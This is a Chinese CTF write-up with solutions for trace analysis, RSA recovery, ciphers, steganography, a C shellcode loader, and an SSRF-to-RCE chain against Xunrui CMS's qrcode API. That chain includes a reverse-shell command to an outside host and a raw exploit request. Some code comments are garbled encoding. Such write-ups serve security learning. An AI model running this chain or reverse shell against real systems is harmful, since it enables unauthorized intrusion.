第一天_Power Trajectory Diagra
操作内容:改文件后缀名为zip得到4个npy文件,提取index、input和trace这三个数组,使用脚本解出
import numpy as np f = np.load('attachment.npz') index = f['index'] ip = f['input'] tr = f['trace'] for _ in range(13): t = [] table = ip[40*_:40*(_+1)] for i in range(40): min = np.argmin(tr[_*40+i]) t.append(min) #print(t) mins = np.argmax(t) ind = table[mins] print(ind,end='')
通风机
补上这三个文件头
用https://blog.csdn.net/qq_42025309/article/details/114576190 软件打开
然后在符号表里有base64
ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9
第一天_火锅链观光打卡
操作内容:运行游戏,答题集齐7个不同的食材得到旋转图片截图获取
OvO
操作内容:解压得到task.sage的sage文件,将文件用记事本打开,得到RSA加密算法,求解密内容,在sage环境中运行脚本即可获得flag
from Crypto.Util.number import * k = e // n - 2 tmp = 65537 + (k+2)*n + (k+2)+1 R.<x> = PolynomialRing(RealField(1024)) f = e*x - (2*(k+1)*x^2 + (k+2)*n + tmp*x) res = f.roots() for root in res: p_high = int(root[0]) PR.<x> = PolynomialRing(Zmod(n)) f1 = x + p_high roots = f1.monic().small_roots(X=2^200,beta=0.4) if roots: p = int(roots[0]) + p_high q = n // p e = 65537 + k * p + (k+2) * ((p+1) * (q+1)) + 1 d = inverse(e,(p-1)*(q-1)) m = pow(c,d,n) print(long_to_bytes(int(m)))
古典密码
操作内容:三重加密atbash,base64,栅栏密码
盗版软件
操作内容:运行 exe 会生成 2 个东西,Dmp 拖到 gimp 里面调节
Winhack.com
提取图片的数据 import numpy as np from PIL import Image import struct # 打开图像文件 img = Image.open("output.png") img = img.convert('RGBA') # 提取图像数据 image_data = np.array(img.getdata(), dtype=np.uint8) # 提取数据长度 length_bytes = bytearray(image_data[0:8:2, 0]) # 解包数据长度 data_length = struct.unpack('<I', length_bytes)[0] # 提取数据内容 extracted_data = bytearray(image_data[8:8 + (data_length * 2):2, 0]) # 将提取的数据写入新文件 with open("a.zip", 'wb') as file: file.write(extracted_data)
base85 解密后再 hex 即时可用的 shellcode 在放入下面的 c 语言
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> unsigned char shellcode[] = int main() { // 璁$畻 shellcode 闀垮害 size_t length = sizeof(shellcode) - 1; // 鍒嗛厤鍙 墽琛屽唴瀛? void *exec = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (exec == NULL) { printf("VirtualAlloc failed: %d\n", GetLastError()); return 1; } // 灏唖 hellcode 澶嶅埗鍒板彲鎵 ц 鍐呭瓨 memcpy(exec, shellcode, length); // 鎵 ц shellcode ((void(*)())exec)(); return 0; }
编译执行, 开 wireshark 抓包即可得到 ip
第一天_easycms
进入页面,发现是迅瑞cms
查看提示,发现只有通过web服务本地访问/flag.php路径才能进行代码执行
没什么思路,去github找源码,看看源代码里有没有方法能向本地发起请求
翻源代码的时候发现了一个生成二维码的方法qrcode
直接进行网络搜索
发现一个不需要登录的rce,点开看看
先在公网上启一个php的web服务,重定向访问到127.0.0.1的flag.php路径,但考虑到该次执行可能没有回显,所以直接构造反弹shell
启动完成以后,公网服务器开监听监测弹回的shell
回到web题目 构造请求
将thumb参数替换为自己启动的web服务重定向接口路径
构造参数
/?s=api&c=api&m=qrcode&text=1&thumb=http:///
然后访问
返回自己服务器查看
发现shell已经反弹
经过找寻
执行/readflag即可获得flag
今天的
ndex.php?s=api&c=api&m=qrcode&text=1&thumb=http://302地址/
302地址开启php -S 0.0.0.0:80
设置<?php header('location:http://127.0.0.1/flag.php?cmd=');?>
cmd后面为/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxxx/xxxx 0>&1" url编码
今天poc php文件加上这个
GIF89a<?php
echo 'GIF89a';
昨天的poc
GET /index.php?s=api&c=api&m=qrcode&thumb=&text=abcd&size=1024&level=1 HTTP/1.1
Host: eci-2ze9sa3j2fhrmvw9wiei.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Connection: close
01-09
5822
08-22
2368